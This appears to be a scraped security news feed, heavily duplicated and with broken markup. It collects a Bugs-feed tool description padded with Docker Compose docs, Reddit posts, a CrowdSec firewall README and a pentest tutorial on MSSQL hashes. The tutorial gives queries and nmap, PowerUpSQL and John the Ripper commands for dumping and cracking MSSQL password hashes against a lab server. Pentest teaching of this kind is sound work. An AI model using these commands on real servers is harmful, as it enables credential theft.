Unlimited report user in Instagram (Facebook) leads to abuse risk.
https://infosecwriteups.com/unlimited-report-user-in-instagram-facebook-leads-to-abuse-risk-efcca325aada?source=rss------bug_bounty-5
https://infosecwriteups.com/unlimited-report-user-in-instagram-facebook-leads-to-abuse-risk-efcca325aada?source=rss------bug_bounty-5
Hello, it’s Mano Prasanth here,Continue reading on InfoSec Write-ups » (https://infosecwriteups.com/unlimited-report-user-in-instagram-facebook-leads-to-abuse-risk-efcca325aada?source=rss------bug_bounty-5)
Hacking Articles Tips Tricks Videos Tutorials
Photo
Kali Linux TutorialsBugs-feed : A Local Hosted Portal Where You Can Search For The Latest News, Videos, CVEs, Vulnerabilities…
Bugs-feed is a local hosted portal where you can search for the latest news, videos, CVEs, vulnerabilities… It’s implemented as a PWA application so you can get rid of the explorer and use it as a desktop application. Navigate through different tabs and take a look to the latest bugs or search in all of them at once. It comes with a configuration pane in which you can modify hashtags and video channels to your own belong.
As a hacking and development enthusiast I’m in love with the idea of making my own scripts of the lastest vulnerabilities.
The problem: there is so much information out there. Lots of new vulnerabilities are discovered in just a day, innumerable related tweets are written and so their corresponding videos are filmed.
The solution: to gather all the information in one place and make it easy to disaggregate so you can extract the relevant knowledge.
Bug’s feed is a docker containered Flask application which makes use of Selenium, Twint and FeedParser to scrape different websites like Hackerone, Youtube, Bugcrowd, Exploit Database or Twitter and stores the results in a Mongo database.
Most of requests go through Tor and with a random user agent.
Except those to twitter, youtube, oxford and bugcrowd (this may change in the future).
Scrapping so much information, depending on different websites, makes easy to break some of the scripts. Consider using the manual refresh button if something fails.
Prerequisites
Docker
Docker takes away repetitive, mundane configuration tasks and is used throughout the development lifecycle for fast, easy and portable application development – desktop and cloud. Docker’s comprehensive end to end platform includes UIs, CLIs, APIs and security that are engineered to work together across the entire application delivery lifecycle.
Build
* Get a head start on your coding by leveraging Docker images to efficiently develop your own unique applications on Windows and Mac. Create your multi-container application using Docker Compose.
* Integrate with your favorite tools throughout your development pipeline – Docker works with all development tools you use including VS Code, CircleCI and GitHub.
* Package applications as portable container images to run in any environment consistently from on-premises Kubernetes to AWS ECS, Azure ACI, Google GKE and more.
Share
* Leverage Docker Trusted Content, including Docker Official Images and images from Docker Verified Publishers from the Docker Hub repository.
* Innovate by collaborating with team members and other developers and by easily publishing images to Docker Hub.
* Personalize developer access to images with roles based access control and get insights into activity history with Docker Hub Audit Logs.
Run
Deliver multiple applications hassle free and have them run the same way on all your environments including design, testing, staging and production – desktop or cloud-native.
Deploy your applications in separate containers independently and in different languages. Reduce the risk of conflict between languages, libraries or frameworks.
Speed development with the simplicity of Docker Compose CLI and with one command, launch your applications locally and on the cloud with AWS ECS and Azure ACI.
Docker-compose
Overview of Docker Compose
Compose is a tool for defining and running multi-container Docker applications. With Compose, you use a YAML file to configure your application’s services. Then, with a single command, you create and start all the services from your configuration. To learn more about all the features of Compose, see the list of features.
Compose works in all environments: production, staging, develo[...]
Bugs-feed is a local hosted portal where you can search for the latest news, videos, CVEs, vulnerabilities… It’s implemented as a PWA application so you can get rid of the explorer and use it as a desktop application. Navigate through different tabs and take a look to the latest bugs or search in all of them at once. It comes with a configuration pane in which you can modify hashtags and video channels to your own belong.
As a hacking and development enthusiast I’m in love with the idea of making my own scripts of the lastest vulnerabilities.
The problem: there is so much information out there. Lots of new vulnerabilities are discovered in just a day, innumerable related tweets are written and so their corresponding videos are filmed.
The solution: to gather all the information in one place and make it easy to disaggregate so you can extract the relevant knowledge.
Bug’s feed is a docker containered Flask application which makes use of Selenium, Twint and FeedParser to scrape different websites like Hackerone, Youtube, Bugcrowd, Exploit Database or Twitter and stores the results in a Mongo database.
Most of requests go through Tor and with a random user agent.
Except those to twitter, youtube, oxford and bugcrowd (this may change in the future).
Scrapping so much information, depending on different websites, makes easy to break some of the scripts. Consider using the manual refresh button if something fails.
Prerequisites
Docker
Docker takes away repetitive, mundane configuration tasks and is used throughout the development lifecycle for fast, easy and portable application development – desktop and cloud. Docker’s comprehensive end to end platform includes UIs, CLIs, APIs and security that are engineered to work together across the entire application delivery lifecycle.
Build
* Get a head start on your coding by leveraging Docker images to efficiently develop your own unique applications on Windows and Mac. Create your multi-container application using Docker Compose.
* Integrate with your favorite tools throughout your development pipeline – Docker works with all development tools you use including VS Code, CircleCI and GitHub.
* Package applications as portable container images to run in any environment consistently from on-premises Kubernetes to AWS ECS, Azure ACI, Google GKE and more.
Share
* Leverage Docker Trusted Content, including Docker Official Images and images from Docker Verified Publishers from the Docker Hub repository.
* Innovate by collaborating with team members and other developers and by easily publishing images to Docker Hub.
* Personalize developer access to images with roles based access control and get insights into activity history with Docker Hub Audit Logs.
Run
Deliver multiple applications hassle free and have them run the same way on all your environments including design, testing, staging and production – desktop or cloud-native.
Deploy your applications in separate containers independently and in different languages. Reduce the risk of conflict between languages, libraries or frameworks.
Speed development with the simplicity of Docker Compose CLI and with one command, launch your applications locally and on the cloud with AWS ECS and Azure ACI.
Docker-compose
Overview of Docker Compose
Compose is a tool for defining and running multi-container Docker applications. With Compose, you use a YAML file to configure your application’s services. Then, with a single command, you create and start all the services from your configuration. To learn more about all the features of Compose, see the list of features.
Compose works in all environments: production, staging, develo[...]
Hacking Articles Tips Tricks Videos Tutorials
Kali Linux TutorialsBugs-feed : A Local Hosted Portal Where You Can Search For The Latest News, Videos, CVEs, Vulnerabilities… Bugs-feed is a local hosted portal where you can search for the latest news, videos, CVEs, vulnerabilities… It’s implemented as…
pment, testing, as well as CI workflows. You can learn more about each case in Common Use Cases.
Using Compose is basically a three-step process:
* Define your app’s environment with a
* Define the services that make up your app in
* Run
A
version: “3.9” # optional since v1.27.0
services:
web:
build: .
ports:
– “5000:5000”
volumes:
– .:/code
– logvolume01:/var/log
links:
– redis
redis:
image: redis
volumes:
logvolume01: {}
For more information about the Compose file, see the Compose file reference.
Compose has commands for managing the whole lifecycle of your application:
* Start, stop, and rebuild services
* View the status of running services
* Stream the log output of running services
* Run a one-off command on a service
Features
The features of Compose that make it effective are:
* Multiple isolated environments on a single host
* Preserve volume data when containers are created
* Only recreate containers that have changed
* Variables and moving a composition between environments
Multiple isolated environments on a single host
Compose uses a project name to isolate environments from each other. You can make use of this project name in several different contexts:
* on a dev host, to create multiple copies of a single environment, such as when you want to run a stable copy for each feature branch of a project
* on a CI server, to keep builds from interfering with each other, you can set the project name to a unique build number
* on a shared host or dev host, to prevent different projects, which may use the same service names, from interfering with each other
The default project name is the base name of the project directory. You can set a custom project name by using the
The default project directory is the base directory of the Compose file. A custom value for it can be defined with the
Preserve volume data when containers are created
Compose preserves all volumes used by your services. When
If you use
Only recreate containers that have changed
Compose caches the configuration used to create a container. When you restart a service that has not changed, Compose re-uses the existing containers. Re-using containers means that you can make changes to your environment very quickly.
Variables and moving a composition between environments
Compose supports variables in the Compose file. You can use these variables to customize your composition for different environments, or different users. See Variable substitution for more details.
You can extend a Compose file using the
Common use cases
Compose can be used in many different ways. Some common use cases are outlined below.
Development environments
When you’re deve[...]
Using Compose is basically a three-step process:
* Define your app’s environment with a
Dockerfile so it can be reproduced anywhere.* Define the services that make up your app in
docker-compose.yml so they can be run together in an isolated environment.* Run
docker compose up and the Docker compose command starts and runs your entire app. You can alternatively run docker-compose up using the docker-compose binary.A
docker-compose.yml looks like this:version: “3.9” # optional since v1.27.0
services:
web:
build: .
ports:
– “5000:5000”
volumes:
– .:/code
– logvolume01:/var/log
links:
– redis
redis:
image: redis
volumes:
logvolume01: {}
For more information about the Compose file, see the Compose file reference.
Compose has commands for managing the whole lifecycle of your application:
* Start, stop, and rebuild services
* View the status of running services
* Stream the log output of running services
* Run a one-off command on a service
Features
The features of Compose that make it effective are:
* Multiple isolated environments on a single host
* Preserve volume data when containers are created
* Only recreate containers that have changed
* Variables and moving a composition between environments
Multiple isolated environments on a single host
Compose uses a project name to isolate environments from each other. You can make use of this project name in several different contexts:
* on a dev host, to create multiple copies of a single environment, such as when you want to run a stable copy for each feature branch of a project
* on a CI server, to keep builds from interfering with each other, you can set the project name to a unique build number
* on a shared host or dev host, to prevent different projects, which may use the same service names, from interfering with each other
The default project name is the base name of the project directory. You can set a custom project name by using the
-p command line option or the COMPOSE_PROJECT_NAME environment variable.The default project directory is the base directory of the Compose file. A custom value for it can be defined with the
--project-directory command line option.Preserve volume data when containers are created
Compose preserves all volumes used by your services. When
docker-compose up runs, if it finds any containers from previous runs, it copies the volumes from the old container to the new container. This process ensures that any data you’ve created in volumes isn’t lost.If you use
docker-compose on a Windows machine, see Environment variables and adjust the necessary environment variables for your specific needs.Only recreate containers that have changed
Compose caches the configuration used to create a container. When you restart a service that has not changed, Compose re-uses the existing containers. Re-using containers means that you can make changes to your environment very quickly.
Variables and moving a composition between environments
Compose supports variables in the Compose file. You can use these variables to customize your composition for different environments, or different users. See Variable substitution for more details.
You can extend a Compose file using the
extends field or by creating multiple Compose files. See extends for more details.Common use cases
Compose can be used in many different ways. Some common use cases are outlined below.
Development environments
When you’re deve[...]
Hacking Articles Tips Tricks Videos Tutorials
pment, testing, as well as CI workflows. You can learn more about each case in Common Use Cases. Using Compose is basically a three-step process: * Define your app’s environment with a Dockerfile so it can be reproduced anywhere. * Define…
loping software, the ability to run an application in an isolated environment and interact with it is crucial. The Compose command line tool can be used to create the environment and interact with it.
The Compose file provides a way to document and configure all of the application’s service dependencies (databases, queues, caches, web service APIs, etc). Using the Compose command line tool you can create and start one or more containers for each dependency with a single command (
Together, these features provide a convenient way for developers to get started on a project. Compose can reduce a multi-page “developer getting started guide” to a single machine readable Compose file and a few commands.
Automated testing environments
An important part of any Continuous Deployment or Continuous Integration process is the automated test suite. Automated end-to-end testing requires an environment in which to run tests. Compose provides a convenient way to create and destroy isolated testing environments for your test suite. By defining the full environment in a Compose file, you can create and destroy these environments in just a few commands:
$ docker-compose up -d
$ ./run_tests
$ docker-compose down
Single host deployments
Compose has traditionally been focused on development and testing workflows, but with each release we’re making progress on more production-oriented features.
For details on using production-oriented features, see compose in production in this documentation.
Installation
You can define the port on the .env file
Release
Download the latest release and run
Source code
#Clone Bugs-feed
git clone https://github.com/pwnedshell/Bugs-feed.git
#Go to Bugs-feed folder
cd Bugs-feed/
#Run docker compose
docker-compose up -d
Usage
* Go to localhost:9600
* Wait 5 minutes (only first time)
* Download the desktop application (optional)
* Hunting time!
Download
The Compose file provides a way to document and configure all of the application’s service dependencies (databases, queues, caches, web service APIs, etc). Using the Compose command line tool you can create and start one or more containers for each dependency with a single command (
docker-compose up).Together, these features provide a convenient way for developers to get started on a project. Compose can reduce a multi-page “developer getting started guide” to a single machine readable Compose file and a few commands.
Automated testing environments
An important part of any Continuous Deployment or Continuous Integration process is the automated test suite. Automated end-to-end testing requires an environment in which to run tests. Compose provides a convenient way to create and destroy isolated testing environments for your test suite. By defining the full environment in a Compose file, you can create and destroy these environments in just a few commands:
$ docker-compose up -d
$ ./run_tests
$ docker-compose down
Single host deployments
Compose has traditionally been focused on development and testing workflows, but with each release we’re making progress on more production-oriented features.
For details on using production-oriented features, see compose in production in this documentation.
Installation
You can define the port on the .env file
Release
Download the latest release and run
docker-compose up -dSource code
#Clone Bugs-feed
git clone https://github.com/pwnedshell/Bugs-feed.git
#Go to Bugs-feed folder
cd Bugs-feed/
#Run docker compose
docker-compose up -d
Usage
* Go to localhost:9600
* Wait 5 minutes (only first time)
* Download the desktop application (optional)
* Hunting time!
Download
Hacking Articles
MSSQL for Pentester: Hashing
In this article, we will learn about multiple ways to get hashes of MSSQL users. Every version of MSSQL has different hashes. We have performed our practical on SQL Server 2016 version. Once we find the hashes, we will use JohnTheRipper to crack them. Table of Content Introduction to Hashing
The post MSSQL for Pentester: Hashing appeared first on Hacking Articles.
MSSQL for Pentester: Hashing
In this article, we will learn about multiple ways to get hashes of MSSQL users. Every version of MSSQL has different hashes. We have performed our practical on SQL Server 2016 version. Once we find the hashes, we will use JohnTheRipper to crack them. Table of Content Introduction to Hashing
The post MSSQL for Pentester: Hashing appeared first on Hacking Articles.
hacking: security in practice
Any way around the Hotmail "Verify online" thing?
I have the right password but can't for the life of me remember what old emails I sent years ago were titled, any other way to beat it or at least download my old emails from it?
submitted by /u/danwilkie90
[link] [comments]
Any way around the Hotmail "Verify online" thing?
I have the right password but can't for the life of me remember what old emails I sent years ago were titled, any other way to beat it or at least download my old emails from it?
submitted by /u/danwilkie90
[link] [comments]
reddit
Any way around the Hotmail "Verify online" thing?
I have the right password but can't for the life of me remember what old emails I sent years ago were titled, any other way to beat it or at least...
hacking: security in practice
iPhone tapped?
I used the code *#62# on my iPhone out of curiosity and it says that a number I don’t recognize is getting voice call forwarding and sync data circuit forwarding? Can someone please tell me what this means is my phone hacked/tapped?
submitted by /u/Timely-Watch-4752
[link] [comments]
iPhone tapped?
I used the code *#62# on my iPhone out of curiosity and it says that a number I don’t recognize is getting voice call forwarding and sync data circuit forwarding? Can someone please tell me what this means is my phone hacked/tapped?
submitted by /u/Timely-Watch-4752
[link] [comments]
reddit
iPhone tapped?
I used the code *#62# on my iPhone out of curiosity and it says that a number I don’t recognize is getting voice call forwarding and sync data...
CrowdSec - An Open-Source Massively Multiplayer Firewall Able To Analyze Visitor Behavior And Provide An Adapted Response To All Kinds Of Attacks
http://www.kitploit.com/2021/09/crowdsec-open-source-massively.html
http://www.kitploit.com/2021/09/crowdsec-open-source-massively.html
CrowdSec is a free, modern & collaborative behavior detection engine, coupled with a global IP reputation network. It stacks on fail2ban's philosophy but is IPV6 compatible and 60x faster (Go vs Python), uses Grok patterns to parse logs and YAML scenario to identify behaviors. CrowdSec is engineered for modern Cloud / Containers (https://www.kitploit.com/search/label/Containers) / VM based infrastructures (by decoupling detection and remediation). Once detected you can remedy threats with various bouncers (firewall block, nginx http 403, Captchas, etc.) while the aggressive IP can be sent to CrowdSec for curation before being shared among all users to further improve everyone's security. See FAQ (https://doc.crowdsec.net/docs/faq) or read bellow for more.
2 mins install
Installing it through the Package system (https://doc.crowdsec.net/docs/getting_started/install_crowdsec) of your OS is the easiest way to proceed. Otherwise, you can install it from source.
From package (Debian)
curl -s https://packagecloud.io/install/repositories/crowdsec/crowdsec/script.deb.sh | sudo bash
sudo apt-get update
sudo apt-get install crowdsec
From package (rhel/centos/amazon linux)
curl -s https://packagecloud.io/install/repositories/crowdsec/crowdsec/script.rpm.sh | sudo bash
yum install crowdsec
From package (FreeBSD)
sudo pkg update
sudo pkg install crowdsec
From source
wget https://github.com/crowdsecurity/crowdsec/releases/latest/download/crowdsec-release.tgz
tar xzvf crowdsec-release.tgz
cd crowdsec-v* && sudo ./wizard.sh -i
About the CrowdSec project Crowdsec is an open-source, lightweight software, detecting peers with aggressive behaviors to prevent them from accessing your systems. Its user friendly (https://www.kitploit.com/search/label/User%20Friendly) design and assistance offers a low technical barrier of entry and nevertheless a high security gain. Processing is done in 4 steps:
2 mins install
Installing it through the Package system (https://doc.crowdsec.net/docs/getting_started/install_crowdsec) of your OS is the easiest way to proceed. Otherwise, you can install it from source.
From package (Debian)
curl -s https://packagecloud.io/install/repositories/crowdsec/crowdsec/script.deb.sh | sudo bash
sudo apt-get update
sudo apt-get install crowdsec
From package (rhel/centos/amazon linux)
curl -s https://packagecloud.io/install/repositories/crowdsec/crowdsec/script.rpm.sh | sudo bash
yum install crowdsec
From package (FreeBSD)
sudo pkg update
sudo pkg install crowdsec
From source
wget https://github.com/crowdsecurity/crowdsec/releases/latest/download/crowdsec-release.tgz
tar xzvf crowdsec-release.tgz
cd crowdsec-v* && sudo ./wizard.sh -i
About the CrowdSec project Crowdsec is an open-source, lightweight software, detecting peers with aggressive behaviors to prevent them from accessing your systems. Its user friendly (https://www.kitploit.com/search/label/User%20Friendly) design and assistance offers a low technical barrier of entry and nevertheless a high security gain. Processing is done in 4 steps:
Once an unwanted behavior is detected, deal with it through a bouncer (https://hub.crowdsec.net/browse/#bouncers). The aggressive IP, scenario triggered and timestamp are sent for curation, to avoid poisoning (https://www.kitploit.com/search/label/Poisoning) & false positives. (This can be disabled). If verified, this IP is then redistributed to all CrowdSec users running the same scenario.
Outnumbering hackers (https://www.kitploit.com/search/label/Hackers) all together
By sharing the threat they faced, all users are protecting each-others (hence the name Crowd-Security). Crowdsec is designed for modern infrastructures, with its "Detect Here, Remedy There" approach, letting you analyse logs coming from several sources in one place and block threats at various levels (applicative, system, infrastructural) of your stack. CrowdSec ships by default with scenarios (brute force, port scan, web scan, etc.) adapted for most context, but you can easily extend it by picking more of them from the HUB (https://hub.crowdsec.net/). It is also easy to adapt an existing one or create one yourself.
What it is not CrowdSec is not a SIEM, storing your logs (neither locally nor remotely). Your data are analyzed locally and forgotten. Signals sent to the curation platform are limited to the very strict minimum: IP, Scenario, Timestamp. They are only used to allow the system to spot new rogue IPs, rule out false positives or poisoning attempts.
Install it ! Crowdsec is available for various platforms : Use our debian repositories (https://doc.crowdsec.net/docs/getting_started/install_crowdsec) or the official debian packages (https://packages.debian.org/search?keywords=crowdsec&searchon=names&suite=stable§ion=all) An image (https://hub.docker.com/r/crowdsecurity/crowdsec) is available for docker Prebuilt release packages (https://github.com/crowdsecurity/crowdsec/releases) are also available (suitable for amd64) You can as well build it from source (https://doc.crowdsec.net/docs/user_guides/building) Or look directly at installation documentation (https://doc.crowdsec.net/docs/getting_started/install_crowdsec) for other methods and platforms.
Download Crowdsec (https://github.com/crowdsecurity/crowdsec)
Outnumbering hackers (https://www.kitploit.com/search/label/Hackers) all together
By sharing the threat they faced, all users are protecting each-others (hence the name Crowd-Security). Crowdsec is designed for modern infrastructures, with its "Detect Here, Remedy There" approach, letting you analyse logs coming from several sources in one place and block threats at various levels (applicative, system, infrastructural) of your stack. CrowdSec ships by default with scenarios (brute force, port scan, web scan, etc.) adapted for most context, but you can easily extend it by picking more of them from the HUB (https://hub.crowdsec.net/). It is also easy to adapt an existing one or create one yourself.
What it is not CrowdSec is not a SIEM, storing your logs (neither locally nor remotely). Your data are analyzed locally and forgotten. Signals sent to the curation platform are limited to the very strict minimum: IP, Scenario, Timestamp. They are only used to allow the system to spot new rogue IPs, rule out false positives or poisoning attempts.
Install it ! Crowdsec is available for various platforms : Use our debian repositories (https://doc.crowdsec.net/docs/getting_started/install_crowdsec) or the official debian packages (https://packages.debian.org/search?keywords=crowdsec&searchon=names&suite=stable§ion=all) An image (https://hub.docker.com/r/crowdsecurity/crowdsec) is available for docker Prebuilt release packages (https://github.com/crowdsecurity/crowdsec/releases) are also available (suitable for amd64) You can as well build it from source (https://doc.crowdsec.net/docs/user_guides/building) Or look directly at installation documentation (https://doc.crowdsec.net/docs/getting_started/install_crowdsec) for other methods and platforms.
Download Crowdsec (https://github.com/crowdsecurity/crowdsec)
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking Articles|Raj Chandel's BlogMSSQL for Pentester: Hashing
In this article, we will learn about multiple ways to get hashes of MSSQL users. Every version of MSSQL has different hashes. We have performed our practical on SQL Server 2016 version. Once we find the hashes, we will use JohnTheRipper to crack them.
Table of Content<o:p
· Introduction to Hashing in SQL server<o:p
· CLI<o:p
· Nmap<o:p
· PowerUpSQL<o:p
· JohnTheRipper<o:p
Introduction to Hashing in SQL server<o:p
A hash produced in SQL server looks somewhat like the following:<o:p
CLI<o:p
To get hashes of all the users, use the following query:<o:p
SELECT * FROM sys.sql_logins<o:p
<o:p
To the hashes of a particular user, use the following query:<o:p
select name,password_hash from sys.sql_logins where name='sa'<o:p
<o:p
As you can see, both the above queries have given us the desired result. <o:p
Nmap<o:p
We can also retrieve the hashes remotely using Nmap. And the command to do so is the following:<o:p
nmap -p1433 --script ms-sql-dump-hashes --script-args mssql.username=sa,mssql.password=Password@1 192.168.1.146<o:p
<o:p
And as the result of the above command, we have our hash. <o:p
PowerUpSQL<o:p
To the hashes remotely, PowerUpSQL provides a simple command which is as follows:<o:p
Import-Module .\PowerUpSQL.ps1<o:p
Get-SQLServerPasswordHash -username sa -Password Password@1 -instance WIN-P83OS778EQK\SQLEXPRESS -Verbose<o:p
<o:p
These are the multiple ways to retrieve the hashes for the MSSQL server, both remotely and locally. <o:p
JohnTheRipper<o:p
Now that we have acquired the hashes, all we have to do is crack them. For this, we will use the almighty password cracker tool, i.e., JohnTheRipper. And to de-hash the password hash, use the following command:<o:p
john --format=mssql12 --wordlist=pass hash<o:p
<o:p
And the result shows us that the password is Password@1 which is accurate. SO, this way, one can dump and then crack the MSSQL hashes.<o:p
<o:p
In this article, we will learn about multiple ways to get hashes of MSSQL users. Every version of MSSQL has different hashes. We have performed our practical on SQL Server 2016 version. Once we find the hashes, we will use JohnTheRipper to crack them.
Table of Content<o:p
· Introduction to Hashing in SQL server<o:p
· CLI<o:p
· Nmap<o:p
· PowerUpSQL<o:p
· JohnTheRipper<o:p
Introduction to Hashing in SQL server<o:p
A hash produced in SQL server looks somewhat like the following:<o:p
CLI<o:p
To get hashes of all the users, use the following query:<o:p
SELECT * FROM sys.sql_logins<o:p
<o:p
To the hashes of a particular user, use the following query:<o:p
select name,password_hash from sys.sql_logins where name='sa'<o:p
<o:p
As you can see, both the above queries have given us the desired result. <o:p
Nmap<o:p
We can also retrieve the hashes remotely using Nmap. And the command to do so is the following:<o:p
nmap -p1433 --script ms-sql-dump-hashes --script-args mssql.username=sa,mssql.password=Password@1 192.168.1.146<o:p
<o:p
And as the result of the above command, we have our hash. <o:p
PowerUpSQL<o:p
To the hashes remotely, PowerUpSQL provides a simple command which is as follows:<o:p
Import-Module .\PowerUpSQL.ps1<o:p
Get-SQLServerPasswordHash -username sa -Password Password@1 -instance WIN-P83OS778EQK\SQLEXPRESS -Verbose<o:p
<o:p
These are the multiple ways to retrieve the hashes for the MSSQL server, both remotely and locally. <o:p
JohnTheRipper<o:p
Now that we have acquired the hashes, all we have to do is crack them. For this, we will use the almighty password cracker tool, i.e., JohnTheRipper. And to de-hash the password hash, use the following command:<o:p
john --format=mssql12 --wordlist=pass hash<o:p
<o:p
And the result shows us that the password is Password@1 which is accurate. SO, this way, one can dump and then crack the MSSQL hashes.<o:p
<o:p